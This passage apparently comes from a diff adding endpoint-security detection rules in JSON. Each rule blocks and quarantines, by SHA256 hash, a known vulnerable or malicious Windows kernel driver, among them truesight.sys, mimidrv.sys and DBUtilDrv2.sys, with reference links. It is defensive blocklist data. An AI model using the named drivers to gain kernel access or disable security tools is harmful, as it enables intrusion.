+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd9c73b3-810d-5a6f-b8bb-74e23c057d52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145603Z",
+  "creation_date": "2026-03-23T11:45:32.145605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145611Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "131e84e32dae6954247fc0699d5ba52bf2936b5a782c795ae9e708829a5c26d6",
+  "comment": "Vulnerable Kernel Driver (aka pxitrig64.sys) [https://www.loldrivers.io/drivers/c8619f49-8e23-489b-9878-53d27533da15/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fd9e94ab-a4de-5be6-a136-0ed10abcb1e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836451Z",
+  "creation_date": "2026-03-23T11:45:30.836453Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836458Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17a05f99826e8b1ebf223377dbcc8a007f4f22dddfad72058f040957485df030",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fda3e07d-75e3-5587-b3a5-0e8c31bbc0e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807822Z",
+  "creation_date": "2026-03-23T11:45:31.807825Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "168bb136f51bc4b442eb62e78fe0fe30972a6a833c38398e1a7a470fb8c91cd8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fdb1ac33-8668-5ce9-85f0-bc01568e5e8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612897Z",
+  "creation_date": "2026-03-23T11:45:29.612899Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612904Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd388cf1df06d419b14dedbeb24c6f4dff37bea26018775f09d56b3067f0de2c",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fdba7b11-9db5-57ee-89bf-bc6243d26a9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157240Z",
+  "creation_date": "2026-03-23T11:45:31.157242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c92e8c94f05926a0f324c85f809fd236ee6f99a83ccfa9c2bcd3dc4dc9e8c7b8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fdcf4eb2-3a8f-5204-9f16-1afce0834a21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973484Z",
+  "creation_date": "2026-03-23T11:45:29.973486Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0909005d625866ef8ccd8ae8af5745a469f4f70561b644d6e38b80bccb53eb06",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fdd86998-51c5-5955-adf1-85747cf9dfc9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823755Z",
+  "creation_date": "2026-03-23T11:45:30.823757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3a3c92951a3675d38186e33dd186c4df05214d1c7814b4e81201c043feb0c6e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fddca3ea-f400-52b5-a7a2-ccea4335da76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150251Z",
+  "creation_date": "2026-03-23T11:45:31.150253Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150259Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "679a104a53ca0707f98f46308069c5d3bbf625ef008e75b2c01993dee6e54cb7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fddecbd7-a621-5813-a01c-14e7fffa138f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479548Z",
+  "creation_date": "2026-03-23T11:45:30.479550Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479555Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29d765e29d2f06eb511ee88b2e514c9df1a9020a768ddd3d2278d9045e9cdb4a",
+  "comment": "Malicious Kernel Driver (aka e939448b28a4edc81f1f974cebf6e7d2.sys) [https://www.loldrivers.io/drivers/4f2edf45-b135-404f-bedc-9583f0bae574/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fde3043b-6bf5-5510-b834-d627dfa375ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983738Z",
+  "creation_date": "2026-03-23T11:45:29.983740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3d601c77d4bb367ab3105920ca8435aa775448a49c1eda6ac6f46ee5d8709cb",
+  "comment": "Vulnerable Kernel Driver (aka AsrAutoChkUpdDrv.sys) [https://www.loldrivers.io/drivers/b72f7335-6f27-42c5-85f5-ed7eb9016eac/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fde5dd99-4ef2-5dc6-ab7d-395aeffb899c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148962Z",
+  "creation_date": "2026-03-23T11:45:31.148964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f060130fad8cc5f7ca388801f6d42a3cae26e19841aad9e5d944e79e6f7e288d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fde666b5-832d-5130-b6fa-10651df90bc6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809569Z",
+  "creation_date": "2026-03-23T11:45:31.809572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809580Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c13eff9d6aeb9458902878207e6224d0f31f30d05fd83aa654add43219a33084",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fdeb7371-86a2-515c-92f8-ce7608e295f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808576Z",
+  "creation_date": "2026-03-23T11:45:31.808579Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808584Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5edc5325e00f7aa95e4f6f698962f86d9378ff8c3604c52b6bf6d354a75f155",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fdf439b8-c973-560b-99f3-f71dafc19335",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465368Z",
+  "creation_date": "2026-03-23T11:45:30.465372Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465381Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51805bb537befaac8ce28f2221624cb4d9cefdc0260bc1afd5e0bc97bf1f9f93",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fdf9b4e3-740a-5d28-83f9-fe7a1ec72a0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479206Z",
+  "creation_date": "2026-03-23T11:45:31.479209Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479220Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c621ad6afe87288d22cc0f34671d45715b92ef31d7d39fd79188a706b9da12f2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe035dec-a880-51c1-873b-f05d2505befc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826233Z",
+  "creation_date": "2026-03-23T11:45:31.826235Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826241Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "775084db4927dc7a387096c4ce6adf7720d56520700c55d0ca373a16ee7c654a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe0c8695-8153-5452-bbcc-008544e11cfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814287Z",
+  "creation_date": "2026-03-23T11:45:31.814290Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814299Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d8975092b4a8b643af5bd04fd5973e74607ad44fa274ad0d12d8051228db039",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe0e7ebe-fe57-5e8c-b036-0dc9a25c7417",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474005Z",
+  "creation_date": "2026-03-23T11:45:30.474008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474017Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88671ef30520d11a63a4cb3acf6b1c827c82acced657baa8f371034957ddf825",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe0fe43b-69b1-58d6-bcce-ed2452f59aaf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827561Z",
+  "creation_date": "2026-03-23T11:45:30.827563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "854ed66189aafb979aaafc60d03a58e5b96e08c6345183bfc06ac27dbb832053",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe1a336f-5f83-5860-be4b-9fb4dd26d57d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143042Z",
+  "creation_date": "2026-03-23T11:45:31.143044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a83762324a1e0d224566b083cd808f582c4e04bc99e02b6e418bda23a12db25",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe20c382-5062-50a5-91b5-6570ab004878",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617643Z",
+  "creation_date": "2026-03-23T11:45:29.617645Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617651Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9b8ecd0657fda14476920fe47783bd8a951d7a4a640935d9199b4a7ae4b8b69",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe236022-89b6-54e2-b97d-17b3a3c238c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983299Z",
+  "creation_date": "2026-03-23T11:45:29.983301Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983306Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "462cd6db3c0be714dd751466d5871c111812faf392c468c81a88cb0da4783458",
+  "comment": "Vulnerable Kernel Driver (aka DBUtilDrv2.sys) [https://www.loldrivers.io/drivers/bb808089-5857-4df2-8998-753a7106cb44/,https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/] [authentihash SHA256]",
